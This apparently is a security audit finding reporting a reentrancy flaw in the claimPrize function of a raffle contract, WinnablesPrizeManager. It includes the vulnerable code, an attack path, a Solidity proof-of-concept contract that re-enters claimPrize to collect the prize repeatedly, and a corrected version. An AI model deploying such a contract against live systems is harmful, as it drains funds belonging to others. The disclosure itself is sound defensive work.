Polite Inky Gibbon

High

# The claimPrize function of WinnablesPrizeManager has a reentrancy vulnerability, which can be exploited by the winner to claim the reward multiple times

### Summary

The claimPrize function of WinnablesPrizeManager has a reentrancy vulnerability, which can be exploited by the winner to claim the reward multiple times:
```solidity
if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
        rafflePrize.status = RafflePrizeStatus.CLAIMED;
```
In the function, the logic to check and update `rafflePrize.status` to `RafflePrizeStatus.CLAIMED` is implemented at the end of the function, not at the beginning.


### Root Cause

The claimPrize function of the WinnablesPrizeManager contract does not follow CEI, resulting in a reentrancy vulnerability:
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124
```solidity
/// @notice (Public) Send the prize for a Raffle to its rightful winner
    /// @param raffleId ID of the raffle
    function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
        RaffleType raffleType = rafflePrize.raffleType;
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked { _ethLocked -= _ethRaffles[raffleId]; }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        } else revert InvalidRaffle();
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
        if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
        rafflePrize.status = RafflePrizeStatus.CLAIMED;
        emit PrizeClaimed(raffleId, msg.sender);
    }
```

### Internal pre-conditions

1. The attacker only needs to be the winner

### External pre-conditions

_No response_

### Attack Path

1. The attacker uses a malicious contract to participate in raffles and becomes a winner
2. After becoming a winner, the attacker can call the claimPrize function of the WinnablesPrizeManager contract, triggering a reentrancy vulnerability and claiming rewards multiple times (e.g. claiming ETH multiple times)

### Impact

The rewards in the `WinnablesPrizeManager` contract can be claimed multiple times by the winner using a reentrancy attack

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import "./WinnablesPrizeManager.sol";

contract ReentrancyAttack {
    WinnablesPrizeManager public target;
    uint256 public targetRaffleId;

    constructor(address _target, uint256 _raffleId) {
        target = WinnablesPrizeManager(_target);
        targetRaffleId = _raffleId;
    }

    // Fallback function to receive ETH and re-enter claimPrize
    receive() external payable {
        if (address(target).balance >= 1 ether) {
            target.claimPrize(targetRaffleId);
        }
    }

    function attack() external {
        target.claimPrize(targetRaffleId);
    }
}
```

### Mitigation

Change the claimPrize function as follows:
```solidity
function claimPrize(uint256 raffleId) external {
    RafflePrize storage rafflePrize = _rafflePrize[raffleId];
    RaffleType raffleType = rafflePrize.raffleType;
    if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
    if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
    rafflePrize.status = RafflePrizeStatus.CLAIMED;

    if (raffleType == RaffleType.NFT) {
        NFTInfo storage raffle = _nftRaffles[raffleId];
        _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
        _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
    } else if (raffleType == RaffleType.TOKEN) {
        TokenInfo storage raffle = _tokenRaffles[raffleId];
        unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; }
        _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
    } else if (raffleType == RaffleType.ETH) {
        unchecked { _ethLocked -= _ethRaffles[raffleId]; }
        _sendETHPrize(_ethRaffles[raffleId], msg.sender);
    } else revert InvalidRaffle();

    emit PrizeClaimed(raffleId, msg.sender);
}
```